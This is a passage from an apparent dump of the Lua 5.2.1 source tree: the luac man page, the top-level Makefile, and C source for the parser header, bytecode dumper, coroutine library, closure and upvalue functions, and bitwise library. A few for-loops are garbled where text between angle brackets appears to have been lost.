OpArgU, iABC) /* OP_TEST */ 94 | ,opmode(1, 1, OpArgR, OpArgU, iABC) /* OP_TESTSET */ 95 | ,opmode(0, 1, OpArgU, OpArgU, iABC) /* OP_CALL */ 96 | ,opmode(0, 1, OpArgU, OpArgU, iABC) /* OP_TAILCALL */ 97 | ,opmode(0, 0, OpArgU, OpArgN, iABC) /* OP_RETURN */ 98 | ,opmode(0, 1, OpArgR, OpArgN, iAsBx) /* OP_FORLOOP */ 99 | ,opmode(0, 1, OpArgR, OpArgN, iAsBx) /* OP_FORPREP */ 100 | ,opmode(0, 0, OpArgN, OpArgU, iABC) /* OP_TFORCALL */ 101 | ,opmode(0, 1, OpArgR, OpArgN, iAsBx) /* OP_TFORLOOP */ 102 | ,opmode(0, 0, OpArgU, OpArgU, iABC) /* OP_SETLIST */ 103 | ,opmode(0, 1, OpArgU, OpArgN, iABx) /* OP_CLOSURE */ 104 | ,opmode(0, 1, OpArgU, OpArgN, iABC) /* OP_VARARG */ 105 | ,opmode(0, 0, OpArgU, OpArgU, iAx) /* OP_EXTRAARG */ 106 | }; 107 | 108 | -------------------------------------------------------------------------------- /lua-5.2.1/doc/luac.1: -------------------------------------------------------------------------------- 1 | .\" $Id: luac.man,v 1.29 2011/11/16 13:53:40 lhf Exp $ 2 | .TH LUAC 1 "$Date: 2011/11/16 13:53:40 $" 3 | .SH NAME 4 | luac \- Lua compiler 5 | .SH SYNOPSIS 6 | .B luac 7 | [ 8 | .I options 9 | ] [ 10 | .I filenames 11 | ] 12 | .SH DESCRIPTION 13 | .B luac 14 | is the Lua compiler. 15 | It translates programs written in the Lua programming language 16 | into binary files containing precompiled chunks 17 | that can be later loaded and executed. 18 | .LP 19 | The main advantages of precompiling chunks are: 20 | faster loading, 21 | protecting source code from accidental user changes, 22 | and 23 | off-line syntax checking. 24 | Precompiling does not imply faster execution 25 | because in Lua chunks are always compiled into bytecodes before being executed. 26 | .B luac 27 | simply allows those bytecodes to be saved in a file for later execution. 28 | Precompiled chunks are not necessarily smaller than the corresponding source. 29 | The main goal in precompiling is faster loading. 30 | .LP 31 | In the command line, 32 | you can mix 33 | text files containing Lua source and 34 | binary files containing precompiled chunks. 35 | .B luac 36 | produces a single output file containing the combined bytecodes 37 | for all files given. 38 | Executing the combined file is equivalent to executing the given files. 39 | By default, 40 | the output file is named 41 | .BR luac.out , 42 | but you can change this with the 43 | .B \-o 44 | option. 45 | .LP 46 | Precompiled chunks are 47 | .I not 48 | portable across different architectures. 49 | Moreover, 50 | the internal format of precompiled chunks 51 | is likely to change when a new version of Lua is released. 52 | Make sure you save the source files of all Lua programs that you precompile. 53 | .LP 54 | .SH OPTIONS 55 | .TP 56 | .B \-l 57 | produce a listing of the compiled bytecode for Lua's virtual machine. 58 | Listing bytecodes is useful to learn about Lua's virtual machine. 59 | If no files are given, then 60 | .B luac 61 | loads 62 | .B luac.out 63 | and lists its contents. 64 | Use 65 | .B \-l \-l 66 | for a full listing. 67 | .TP 68 | .BI \-o " file" 69 | output to 70 | .IR file , 71 | instead of the default 72 | .BR luac.out . 73 | (You can use 74 | .B "'\-'" 75 | for standard output, 76 | but not on platforms that open standard output in text mode.) 77 | The output file may be one of the given files because 78 | all files are loaded before the output file is written. 79 | Be careful not to overwrite precious files. 80 | .TP 81 | .B \-p 82 | load files but do not generate any output file. 83 | Used mainly for syntax checking and for testing precompiled chunks: 84 | corrupted files will probably generate errors when loaded. 85 | If no files are given, then 86 | .B luac 87 | loads 88 | .B luac.out 89 | and tests its contents. 90 | No messages are displayed if the file loads without errors. 91 | .TP 92 | .B \-s 93 | strip debug information before writing the output file. 94 | This saves some space in very large chunks, 95 | but if errors occur when running a stripped chunk, 96 | then the error messages may not contain the full information they usually do. 97 | In particular, 98 | line numbers and names of local variables are lost. 99 | .TP 100 | .B \-v 101 | show version information. 102 | .TP 103 | .B \-\- 104 | stop handling options. 105 | .TP 106 | .B \- 107 | stop handling options and process standard input. 108 | .SH "SEE ALSO" 109 | .BR lua (1) 110 | .br 111 | The documentation at lua.org. 112 | .SH DIAGNOSTICS 113 | Error messages should be self explanatory. 114 | .SH AUTHORS 115 | R. Ierusalimschy, 116 | L. H. de Figueiredo, 117 | W. Celes 118 | .\" EOF 119 | -------------------------------------------------------------------------------- /lua-5.2.1/Makefile: -------------------------------------------------------------------------------- 1 | # Makefile for installing Lua 2 | # See doc/readme.html for installation and customization instructions. 3 | 4 | # == CHANGE THE SETTINGS BELOW TO SUIT YOUR ENVIRONMENT ======================= 5 | 6 | # Your platform. See PLATS for possible values. 7 | PLAT= none 8 | 9 | # Where to install. The installation starts in the src and doc directories, 10 | # so take care if INSTALL_TOP is not an absolute path. See the local target. 11 | # You may want to make INSTALL_LMOD and INSTALL_CMOD consistent with 12 | # LUA_ROOT, LUA_LDIR, and LUA_CDIR in luaconf.h. 13 | INSTALL_TOP= /usr/local 14 | INSTALL_BIN= $(INSTALL_TOP)/bin 15 | INSTALL_INC= $(INSTALL_TOP)/include 16 | INSTALL_LIB= $(INSTALL_TOP)/lib 17 | INSTALL_MAN= $(INSTALL_TOP)/man/man1 18 | INSTALL_LMOD= $(INSTALL_TOP)/share/lua/$V 19 | INSTALL_CMOD= $(INSTALL_TOP)/lib/lua/$V 20 | 21 | # How to install. If your install program does not support "-p", then 22 | # you may have to run ranlib on the installed liblua.a. 23 | INSTALL= install -p 24 | INSTALL_EXEC= $(INSTALL) -m 0755 25 | INSTALL_DATA= $(INSTALL) -m 0644 26 | # 27 | # If you don't have "install" you can use "cp" instead. 28 | # INSTALL= cp -p 29 | # INSTALL_EXEC= $(INSTALL) 30 | # INSTALL_DATA= $(INSTALL) 31 | 32 | # Other utilities. 33 | MKDIR= mkdir -p 34 | RM= rm -f 35 | 36 | # == END OF USER SETTINGS -- NO NEED TO CHANGE ANYTHING BELOW THIS LINE ======= 37 | 38 | # Convenience platforms targets. 39 | PLATS= aix ansi bsd freebsd generic linux macosx mingw posix solaris 40 | 41 | # What to install. 42 | TO_BIN= lua luac 43 | TO_INC= lua.h luaconf.h lualib.h lauxlib.h lua.hpp 44 | TO_LIB= liblua.a 45 | TO_MAN= lua.1 luac.1 46 | 47 | # Lua version and release. 48 | V= 5.2 49 | R= $V.1 50 | 51 | # Targets start here. 52 | all: $(PLAT) 53 | 54 | $(PLATS) clean: 55 | cd src && $(MAKE) $@ 56 | 57 | test: dummy 58 | src/lua -v 59 | 60 | install: dummy 61 | cd src && $(MKDIR) $(INSTALL_BIN) $(INSTALL_INC) $(INSTALL_LIB) $(INSTALL_MAN) $(INSTALL_LMOD) $(INSTALL_CMOD) 62 | cd src && $(INSTALL_EXEC) $(TO_BIN) $(INSTALL_BIN) 63 | cd src && $(INSTALL_DATA) $(TO_INC) $(INSTALL_INC) 64 | cd src && $(INSTALL_DATA) $(TO_LIB) $(INSTALL_LIB) 65 | cd doc && $(INSTALL_DATA) $(TO_MAN) $(INSTALL_MAN) 66 | 67 | uninstall: 68 | cd src && cd $(INSTALL_BIN) && $(RM) $(TO_BIN) 69 | cd src && cd $(INSTALL_INC) && $(RM) $(TO_INC) 70 | cd src && cd $(INSTALL_LIB) && $(RM) $(TO_LIB) 71 | cd doc && cd $(INSTALL_MAN) && $(RM) $(TO_MAN) 72 | 73 | local: 74 | $(MAKE) install INSTALL_TOP=../install 75 | 76 | none: 77 | @echo "Please do 'make PLATFORM' where PLATFORM is one of these:" 78 | @echo " $(PLATS)" 79 | @echo "See doc/readme.html for complete instructions." 80 | 81 | # make may get confused with test/ and install/ 82 | dummy: 83 | 84 | # echo config parameters 85 | echo: 86 | @cd src && $(MAKE) -s echo 87 | @echo "PLAT= $(PLAT)" 88 | @echo "V= $V" 89 | @echo "R= $R" 90 | @echo "TO_BIN= $(TO_BIN)" 91 | @echo "TO_INC= $(TO_INC)" 92 | @echo "TO_LIB= $(TO_LIB)" 93 | @echo "TO_MAN= $(TO_MAN)" 94 | @echo "INSTALL_TOP= $(INSTALL_TOP)" 95 | @echo "INSTALL_BIN= $(INSTALL_BIN)" 96 | @echo "INSTALL_INC= $(INSTALL_INC)" 97 | @echo "INSTALL_LIB= $(INSTALL_LIB)" 98 | @echo "INSTALL_MAN= $(INSTALL_MAN)" 99 | @echo "INSTALL_LMOD= $(INSTALL_LMOD)" 100 | @echo "INSTALL_CMOD= $(INSTALL_CMOD)" 101 | @echo "INSTALL_EXEC= $(INSTALL_EXEC)" 102 | @echo "INSTALL_DATA= $(INSTALL_DATA)" 103 | 104 | # echo pkg-config data 105 | pc: 106 | @echo "version=$R" 107 | @echo "prefix=$(INSTALL_TOP)" 108 | @echo "libdir=$(INSTALL_LIB)" 109 | @echo "includedir=$(INSTALL_INC)" 110 | 111 | # list targets that do not create files (but not all makes understand .PHONY) 112 | .PHONY: all $(PLATS) clean test install local none dummy echo pecho lecho 113 | 114 | # (end of Makefile) 115 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lparser.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lparser.h,v 1.70 2012/05/08 13:53:33 roberto Exp $ 3 | ** Lua Parser 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | #ifndef lparser_h 8 | #define lparser_h 9 | 10 | #include "llimits.h" 11 | #include "lobject.h" 12 | #include "lzio.h" 13 | 14 | 15 | /* 16 | ** Expression descriptor 17 | */ 18 | 19 | typedef enum { 20 | VVOID, /* no value */ 21 | VNIL, 22 | VTRUE, 23 | VFALSE, 24 | VK, /* info = index of constant in `k' */ 25 | VKNUM, /* nval = numerical value */ 26 | VNONRELOC, /* info = result register */ 27 | VLOCAL, /* info = local register */ 28 | VUPVAL, /* info = index of upvalue in 'upvalues' */ 29 | VINDEXED, /* t = table register/upvalue; idx = index R/K */ 30 | VJMP, /* info = instruction pc */ 31 | VRELOCABLE, /* info = instruction pc */ 32 | VCALL, /* info = instruction pc */ 33 | VVARARG /* info = instruction pc */ 34 | } expkind; 35 | 36 | 37 | #define vkisvar(k) (VLOCAL <= (k) && (k) <= VINDEXED) 38 | #define vkisinreg(k) ((k) == VNONRELOC || (k) == VLOCAL) 39 | 40 | typedef struct expdesc { 41 | expkind k; 42 | union { 43 | struct { /* for indexed variables (VINDEXED) */ 44 | short idx; /* index (R/K) */ 45 | lu_byte t; /* table (register or upvalue) */ 46 | lu_byte vt; /* whether 't' is register (VLOCAL) or upvalue (VUPVAL) */ 47 | } ind; 48 | int info; /* for generic use */ 49 | lua_Number nval; /* for VKNUM */ 50 | } u; 51 | int t; /* patch list of `exit when true' */ 52 | int f; /* patch list of `exit when false' */ 53 | } expdesc; 54 | 55 | 56 | /* description of active local variable */ 57 | typedef struct Vardesc { 58 | short idx; /* variable index in stack */ 59 | } Vardesc; 60 | 61 | 62 | /* description of pending goto statements and label statements */ 63 | typedef struct Labeldesc { 64 | TString *name; /* label identifier */ 65 | int pc; /* position in code */ 66 | int line; /* line where it appeared */ 67 | lu_byte nactvar; /* local level where it appears in current block */ 68 | } Labeldesc; 69 | 70 | 71 | /* list of labels or gotos */ 72 | typedef struct Labellist { 73 | Labeldesc *arr; /* array */ 74 | int n; /* number of entries in use */ 75 | int size; /* array size */ 76 | } Labellist; 77 | 78 | 79 | /* dynamic structures used by the parser */ 80 | typedef struct Dyndata { 81 | struct { /* list of active local variables */ 82 | Vardesc *arr; 83 | int n; 84 | int size; 85 | } actvar; 86 | Labellist gt; /* list of pending gotos */ 87 | Labellist label; /* list of active labels */ 88 | } Dyndata; 89 | 90 | 91 | /* control of blocks */ 92 | struct BlockCnt; /* defined in lparser.c */ 93 | 94 | 95 | /* state needed to generate code for a given function */ 96 | typedef struct FuncState { 97 | Proto *f; /* current function header */ 98 | Table *h; /* table to find (and reuse) elements in `k' */ 99 | struct FuncState *prev; /* enclosing function */ 100 | struct LexState *ls; /* lexical state */ 101 | struct BlockCnt *bl; /* chain of current blocks */ 102 | int pc; /* next position to code (equivalent to `ncode') */ 103 | int lasttarget; /* 'label' of last 'jump label' */ 104 | int jpc; /* list of pending jumps to `pc' */ 105 | int nk; /* number of elements in `k' */ 106 | int np; /* number of elements in `p' */ 107 | int firstlocal; /* index of first local var (in Dyndata array) */ 108 | short nlocvars; /* number of elements in 'f->locvars' */ 109 | lu_byte nactvar; /* number of active local variables */ 110 | lu_byte nups; /* number of upvalues */ 111 | lu_byte freereg; /* first free register */ 112 | } FuncState; 113 | 114 | 115 | LUAI_FUNC Closure *luaY_parser (lua_State *L, ZIO *z, Mbuffer *buff, 116 | Dyndata *dyd, const char *name, int firstchar); 117 | 118 | 119 | #endif 120 | -------------------------------------------------------------------------------- /lua-5.2.1/src/ldump.c: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: ldump.c,v 2.17 2012/01/23 23:02:10 roberto Exp $ 3 | ** save precompiled Lua chunks 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | #include 8 | 9 | #define ldump_c 10 | #define LUA_CORE 11 | 12 | #include "lua.h" 13 | 14 | #include "lobject.h" 15 | #include "lstate.h" 16 | #include "lundump.h" 17 | 18 | typedef struct { 19 | lua_State* L; 20 | lua_Writer writer; 21 | void* data; 22 | int strip; 23 | int status; 24 | } DumpState; 25 | 26 | #define DumpMem(b,n,size,D) DumpBlock(b,(n)*(size),D) 27 | #define DumpVar(x,D) DumpMem(&x,1,sizeof(x),D) 28 | 29 | static void DumpBlock(const void* b, size_t size, DumpState* D) 30 | { 31 | if (D->status==0) 32 | { 33 | lua_unlock(D->L); 34 | D->status=(*D->writer)(D->L,b,size,D->data); 35 | lua_lock(D->L); 36 | } 37 | } 38 | 39 | static void DumpChar(int y, DumpState* D) 40 | { 41 | char x=(char)y; 42 | DumpVar(x,D); 43 | } 44 | 45 | static void DumpInt(int x, DumpState* D) 46 | { 47 | DumpVar(x,D); 48 | } 49 | 50 | static void DumpNumber(lua_Number x, DumpState* D) 51 | { 52 | DumpVar(x,D); 53 | } 54 | 55 | static void DumpVector(const void* b, int n, size_t size, DumpState* D) 56 | { 57 | DumpInt(n,D); 58 | DumpMem(b,n,size,D); 59 | } 60 | 61 | static void DumpString(const TString* s, DumpState* D) 62 | { 63 | if (s==NULL) 64 | { 65 | size_t size=0; 66 | DumpVar(size,D); 67 | } 68 | else 69 | { 70 | size_t size=s->tsv.len+1; /* include trailing '\0' */ 71 | DumpVar(size,D); 72 | DumpBlock(getstr(s),size*sizeof(char),D); 73 | } 74 | } 75 | 76 | #define DumpCode(f,D) DumpVector(f->code,f->sizecode,sizeof(Instruction),D) 77 | 78 | static void DumpFunction(const Proto* f, DumpState* D); 79 | 80 | static void DumpConstants(const Proto* f, DumpState* D) 81 | { 82 | int i,n=f->sizek; 83 | DumpInt(n,D); 84 | for (i=0; ik[i]; 87 | DumpChar(ttypenv(o),D); 88 | switch (ttypenv(o)) 89 | { 90 | case LUA_TNIL: 91 | break; 92 | case LUA_TBOOLEAN: 93 | DumpChar(bvalue(o),D); 94 | break; 95 | case LUA_TNUMBER: 96 | DumpNumber(nvalue(o),D); 97 | break; 98 | case LUA_TSTRING: 99 | DumpString(rawtsvalue(o),D); 100 | break; 101 | default: lua_assert(0); 102 | } 103 | } 104 | n=f->sizep; 105 | DumpInt(n,D); 106 | for (i=0; ip[i],D); 107 | } 108 | 109 | static void DumpUpvalues(const Proto* f, DumpState* D) 110 | { 111 | int i,n=f->sizeupvalues; 112 | DumpInt(n,D); 113 | for (i=0; iupvalues[i].instack,D); 116 | DumpChar(f->upvalues[i].idx,D); 117 | } 118 | } 119 | 120 | static void DumpDebug(const Proto* f, DumpState* D) 121 | { 122 | int i,n; 123 | DumpString((D->strip) ? NULL : f->source,D); 124 | n= (D->strip) ? 0 : f->sizelineinfo; 125 | DumpVector(f->lineinfo,n,sizeof(int),D); 126 | n= (D->strip) ? 0 : f->sizelocvars; 127 | DumpInt(n,D); 128 | for (i=0; ilocvars[i].varname,D); 131 | DumpInt(f->locvars[i].startpc,D); 132 | DumpInt(f->locvars[i].endpc,D); 133 | } 134 | n= (D->strip) ? 0 : f->sizeupvalues; 135 | DumpInt(n,D); 136 | for (i=0; iupvalues[i].name,D); 137 | } 138 | 139 | static void DumpFunction(const Proto* f, DumpState* D) 140 | { 141 | DumpInt(f->linedefined,D); 142 | DumpInt(f->lastlinedefined,D); 143 | DumpChar(f->numparams,D); 144 | DumpChar(f->is_vararg,D); 145 | DumpChar(f->maxstacksize,D); 146 | DumpCode(f,D); 147 | DumpConstants(f,D); 148 | DumpUpvalues(f,D); 149 | DumpDebug(f,D); 150 | } 151 | 152 | static void DumpHeader(DumpState* D) 153 | { 154 | lu_byte h[LUAC_HEADERSIZE]; 155 | luaU_header(h); 156 | DumpBlock(h,LUAC_HEADERSIZE,D); 157 | } 158 | 159 | /* 160 | ** dump Lua function as precompiled chunk 161 | */ 162 | int luaU_dump (lua_State* L, const Proto* f, lua_Writer w, void* data, int strip) 163 | { 164 | DumpState D; 165 | D.L=L; 166 | D.writer=w; 167 | D.data=data; 168 | D.strip=strip; 169 | D.status=0; 170 | DumpHeader(&D); 171 | DumpFunction(f,&D); 172 | return D.status; 173 | } 174 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lcorolib.c: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lcorolib.c,v 1.4 2012/04/27 18:59:04 roberto Exp $ 3 | ** Coroutine Library 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | 8 | #include 9 | 10 | 11 | #define lcorolib_c 12 | #define LUA_LIB 13 | 14 | #include "lua.h" 15 | 16 | #include "lauxlib.h" 17 | #include "lualib.h" 18 | 19 | 20 | static int auxresume (lua_State *L, lua_State *co, int narg) { 21 | int status; 22 | if (!lua_checkstack(co, narg)) { 23 | lua_pushliteral(L, "too many arguments to resume"); 24 | return -1; /* error flag */ 25 | } 26 | if (lua_status(co) == LUA_OK && lua_gettop(co) == 0) { 27 | lua_pushliteral(L, "cannot resume dead coroutine"); 28 | return -1; /* error flag */ 29 | } 30 | lua_xmove(L, co, narg); 31 | status = lua_resume(co, L, narg); 32 | if (status == LUA_OK || status == LUA_YIELD) { 33 | int nres = lua_gettop(co); 34 | if (!lua_checkstack(L, nres + 1)) { 35 | lua_pop(co, nres); /* remove results anyway */ 36 | lua_pushliteral(L, "too many results to resume"); 37 | return -1; /* error flag */ 38 | } 39 | lua_xmove(co, L, nres); /* move yielded values */ 40 | return nres; 41 | } 42 | else { 43 | lua_xmove(co, L, 1); /* move error message */ 44 | return -1; /* error flag */ 45 | } 46 | } 47 | 48 | 49 | static int luaB_coresume (lua_State *L) { 50 | lua_State *co = lua_tothread(L, 1); 51 | int r; 52 | luaL_argcheck(L, co, 1, "coroutine expected"); 53 | r = auxresume(L, co, lua_gettop(L) - 1); 54 | if (r < 0) { 55 | lua_pushboolean(L, 0); 56 | lua_insert(L, -2); 57 | return 2; /* return false + error message */ 58 | } 59 | else { 60 | lua_pushboolean(L, 1); 61 | lua_insert(L, -(r + 1)); 62 | return r + 1; /* return true + `resume' returns */ 63 | } 64 | } 65 | 66 | 67 | static int luaB_auxwrap (lua_State *L) { 68 | lua_State *co = lua_tothread(L, lua_upvalueindex(1)); 69 | int r = auxresume(L, co, lua_gettop(L)); 70 | if (r < 0) { 71 | if (lua_isstring(L, -1)) { /* error object is a string? */ 72 | luaL_where(L, 1); /* add extra info */ 73 | lua_insert(L, -2); 74 | lua_concat(L, 2); 75 | } 76 | lua_error(L); /* propagate error */ 77 | } 78 | return r; 79 | } 80 | 81 | 82 | static int luaB_cocreate (lua_State *L) { 83 | lua_State *NL; 84 | luaL_checktype(L, 1, LUA_TFUNCTION); 85 | NL = lua_newthread(L); 86 | lua_pushvalue(L, 1); /* move function to top */ 87 | lua_xmove(L, NL, 1); /* move function from L to NL */ 88 | return 1; 89 | } 90 | 91 | 92 | static int luaB_cowrap (lua_State *L) { 93 | luaB_cocreate(L); 94 | lua_pushcclosure(L, luaB_auxwrap, 1); 95 | return 1; 96 | } 97 | 98 | 99 | static int luaB_yield (lua_State *L) { 100 | return lua_yield(L, lua_gettop(L)); 101 | } 102 | 103 | 104 | static int luaB_costatus (lua_State *L) { 105 | lua_State *co = lua_tothread(L, 1); 106 | luaL_argcheck(L, co, 1, "coroutine expected"); 107 | if (L == co) lua_pushliteral(L, "running"); 108 | else { 109 | switch (lua_status(co)) { 110 | case LUA_YIELD: 111 | lua_pushliteral(L, "suspended"); 112 | break; 113 | case LUA_OK: { 114 | lua_Debug ar; 115 | if (lua_getstack(co, 0, &ar) > 0) /* does it have frames? */ 116 | lua_pushliteral(L, "normal"); /* it is running */ 117 | else if (lua_gettop(co) == 0) 118 | lua_pushliteral(L, "dead"); 119 | else 120 | lua_pushliteral(L, "suspended"); /* initial state */ 121 | break; 122 | } 123 | default: /* some error occurred */ 124 | lua_pushliteral(L, "dead"); 125 | break; 126 | } 127 | } 128 | return 1; 129 | } 130 | 131 | 132 | static int luaB_corunning (lua_State *L) { 133 | int ismain = lua_pushthread(L); 134 | lua_pushboolean(L, ismain); 135 | return 2; 136 | } 137 | 138 | 139 | static const luaL_Reg co_funcs[] = { 140 | {"create", luaB_cocreate}, 141 | {"resume", luaB_coresume}, 142 | {"running", luaB_corunning}, 143 | {"status", luaB_costatus}, 144 | {"wrap", luaB_cowrap}, 145 | {"yield", luaB_yield}, 146 | {NULL, NULL} 147 | }; 148 | 149 | 150 | 151 | LUAMOD_API int luaopen_coroutine (lua_State *L) { 152 | luaL_newlib(L, co_funcs); 153 | return 1; 154 | } 155 | 156 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lfunc.c: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lfunc.c,v 2.29 2012/05/08 13:53:33 roberto Exp $ 3 | ** Auxiliary functions to manipulate prototypes and closures 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | 8 | #include 9 | 10 | #define lfunc_c 11 | #define LUA_CORE 12 | 13 | #include "lua.h" 14 | 15 | #include "lfunc.h" 16 | #include "lgc.h" 17 | #include "lmem.h" 18 | #include "lobject.h" 19 | #include "lstate.h" 20 | 21 | 22 | 23 | Closure *luaF_newCclosure (lua_State *L, int n) { 24 | Closure *c = &luaC_newobj(L, LUA_TCCL, sizeCclosure(n), NULL, 0)->cl; 25 | c->c.nupvalues = cast_byte(n); 26 | return c; 27 | } 28 | 29 | 30 | Closure *luaF_newLclosure (lua_State *L, int n) { 31 | Closure *c = &luaC_newobj(L, LUA_TLCL, sizeLclosure(n), NULL, 0)->cl; 32 | c->l.p = NULL; 33 | c->l.nupvalues = cast_byte(n); 34 | while (n--) c->l.upvals[n] = NULL; 35 | return c; 36 | } 37 | 38 | 39 | UpVal *luaF_newupval (lua_State *L) { 40 | UpVal *uv = &luaC_newobj(L, LUA_TUPVAL, sizeof(UpVal), NULL, 0)->uv; 41 | uv->v = &uv->u.value; 42 | setnilvalue(uv->v); 43 | return uv; 44 | } 45 | 46 | 47 | UpVal *luaF_findupval (lua_State *L, StkId level) { 48 | global_State *g = G(L); 49 | GCObject **pp = &L->openupval; 50 | UpVal *p; 51 | UpVal *uv; 52 | while (*pp != NULL && (p = gco2uv(*pp))->v >= level) { 53 | GCObject *o = obj2gco(p); 54 | lua_assert(p->v != &p->u.value); 55 | if (p->v == level) { /* found a corresponding upvalue? */ 56 | if (isdead(g, o)) /* is it dead? */ 57 | changewhite(o); /* resurrect it */ 58 | return p; 59 | } 60 | resetoldbit(o); /* may create a newer upval after this one */ 61 | pp = &p->next; 62 | } 63 | /* not found: create a new one */ 64 | uv = &luaC_newobj(L, LUA_TUPVAL, sizeof(UpVal), pp, 0)->uv; 65 | uv->v = level; /* current value lives in the stack */ 66 | uv->u.l.prev = &g->uvhead; /* double link it in `uvhead' list */ 67 | uv->u.l.next = g->uvhead.u.l.next; 68 | uv->u.l.next->u.l.prev = uv; 69 | g->uvhead.u.l.next = uv; 70 | lua_assert(uv->u.l.next->u.l.prev == uv && uv->u.l.prev->u.l.next == uv); 71 | return uv; 72 | } 73 | 74 | 75 | static void unlinkupval (UpVal *uv) { 76 | lua_assert(uv->u.l.next->u.l.prev == uv && uv->u.l.prev->u.l.next == uv); 77 | uv->u.l.next->u.l.prev = uv->u.l.prev; /* remove from `uvhead' list */ 78 | uv->u.l.prev->u.l.next = uv->u.l.next; 79 | } 80 | 81 | 82 | void luaF_freeupval (lua_State *L, UpVal *uv) { 83 | if (uv->v != &uv->u.value) /* is it open? */ 84 | unlinkupval(uv); /* remove from open list */ 85 | luaM_free(L, uv); /* free upvalue */ 86 | } 87 | 88 | 89 | void luaF_close (lua_State *L, StkId level) { 90 | UpVal *uv; 91 | global_State *g = G(L); 92 | while (L->openupval != NULL && (uv = gco2uv(L->openupval))->v >= level) { 93 | GCObject *o = obj2gco(uv); 94 | lua_assert(!isblack(o) && uv->v != &uv->u.value); 95 | L->openupval = uv->next; /* remove from `open' list */ 96 | if (isdead(g, o)) 97 | luaF_freeupval(L, uv); /* free upvalue */ 98 | else { 99 | unlinkupval(uv); /* remove upvalue from 'uvhead' list */ 100 | setobj(L, &uv->u.value, uv->v); /* move value to upvalue slot */ 101 | uv->v = &uv->u.value; /* now current value lives here */ 102 | gch(o)->next = g->allgc; /* link upvalue into 'allgc' list */ 103 | g->allgc = o; 104 | luaC_checkupvalcolor(g, uv); 105 | } 106 | } 107 | } 108 | 109 | 110 | Proto *luaF_newproto (lua_State *L) { 111 | Proto *f = &luaC_newobj(L, LUA_TPROTO, sizeof(Proto), NULL, 0)->p; 112 | f->k = NULL; 113 | f->sizek = 0; 114 | f->p = NULL; 115 | f->sizep = 0; 116 | f->code = NULL; 117 | f->cache = NULL; 118 | f->sizecode = 0; 119 | f->lineinfo = NULL; 120 | f->sizelineinfo = 0; 121 | f->upvalues = NULL; 122 | f->sizeupvalues = 0; 123 | f->numparams = 0; 124 | f->is_vararg = 0; 125 | f->maxstacksize = 0; 126 | f->locvars = NULL; 127 | f->sizelocvars = 0; 128 | f->linedefined = 0; 129 | f->lastlinedefined = 0; 130 | f->source = NULL; 131 | return f; 132 | } 133 | 134 | 135 | void luaF_freeproto (lua_State *L, Proto *f) { 136 | luaM_freearray(L, f->code, f->sizecode); 137 | luaM_freearray(L, f->p, f->sizep); 138 | luaM_freearray(L, f->k, f->sizek); 139 | luaM_freearray(L, f->lineinfo, f->sizelineinfo); 140 | luaM_freearray(L, f->locvars, f->sizelocvars); 141 | luaM_freearray(L, f->upvalues, f->sizeupvalues); 142 | luaM_free(L, f); 143 | } 144 | 145 | 146 | /* 147 | ** Look for n-th local variable at line `line' in function `func'. 148 | ** Returns NULL if not found. 149 | */ 150 | const char *luaF_getlocalname (const Proto *f, int local_number, int pc) { 151 | int i; 152 | for (i = 0; isizelocvars && f->locvars[i].startpc <= pc; i++) { 153 | if (pc < f->locvars[i].endpc) { /* is variable active? */ 154 | local_number--; 155 | if (local_number == 0) 156 | return getstr(f->locvars[i].varname); 157 | } 158 | } 159 | return NULL; /* not found */ 160 | } 161 | 162 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lbitlib.c: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lbitlib.c,v 1.16 2011/06/20 16:35:23 roberto Exp $ 3 | ** Standard library for bitwise operations 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | #define lbitlib_c 8 | #define LUA_LIB 9 | 10 | #include "lua.h" 11 | 12 | #include "lauxlib.h" 13 | #include "lualib.h" 14 | 15 | 16 | /* number of bits to consider in a number */ 17 | #if !defined(LUA_NBITS) 18 | #define LUA_NBITS 32 19 | #endif 20 | 21 | 22 | #define ALLONES (~(((~(lua_Unsigned)0) << (LUA_NBITS - 1)) << 1)) 23 | 24 | /* macro to trim extra bits */ 25 | #define trim(x) ((x) & ALLONES) 26 | 27 | 28 | /* builds a number with 'n' ones (1 <= n <= LUA_NBITS) */ 29 | #define mask(n) (~((ALLONES << 1) << ((n) - 1))) 30 | 31 | 32 | typedef lua_Unsigned b_uint; 33 | 34 | 35 | 36 | static b_uint andaux (lua_State *L) { 37 | int i, n = lua_gettop(L); 38 | b_uint r = ~(b_uint)0; 39 | for (i = 1; i <= n; i++) 40 | r &= luaL_checkunsigned(L, i); 41 | return trim(r); 42 | } 43 | 44 | 45 | static int b_and (lua_State *L) { 46 | b_uint r = andaux(L); 47 | lua_pushunsigned(L, r); 48 | return 1; 49 | } 50 | 51 | 52 | static int b_test (lua_State *L) { 53 | b_uint r = andaux(L); 54 | lua_pushboolean(L, r != 0); 55 | return 1; 56 | } 57 | 58 | 59 | static int b_or (lua_State *L) { 60 | int i, n = lua_gettop(L); 61 | b_uint r = 0; 62 | for (i = 1; i <= n; i++) 63 | r |= luaL_checkunsigned(L, i); 64 | lua_pushunsigned(L, trim(r)); 65 | return 1; 66 | } 67 | 68 | 69 | static int b_xor (lua_State *L) { 70 | int i, n = lua_gettop(L); 71 | b_uint r = 0; 72 | for (i = 1; i <= n; i++) 73 | r ^= luaL_checkunsigned(L, i); 74 | lua_pushunsigned(L, trim(r)); 75 | return 1; 76 | } 77 | 78 | 79 | static int b_not (lua_State *L) { 80 | b_uint r = ~luaL_checkunsigned(L, 1); 81 | lua_pushunsigned(L, trim(r)); 82 | return 1; 83 | } 84 | 85 | 86 | static int b_shift (lua_State *L, b_uint r, int i) { 87 | if (i < 0) { /* shift right? */ 88 | i = -i; 89 | r = trim(r); 90 | if (i >= LUA_NBITS) r = 0; 91 | else r >>= i; 92 | } 93 | else { /* shift left */ 94 | if (i >= LUA_NBITS) r = 0; 95 | else r <<= i; 96 | r = trim(r); 97 | } 98 | lua_pushunsigned(L, r); 99 | return 1; 100 | } 101 | 102 | 103 | static int b_lshift (lua_State *L) { 104 | return b_shift(L, luaL_checkunsigned(L, 1), 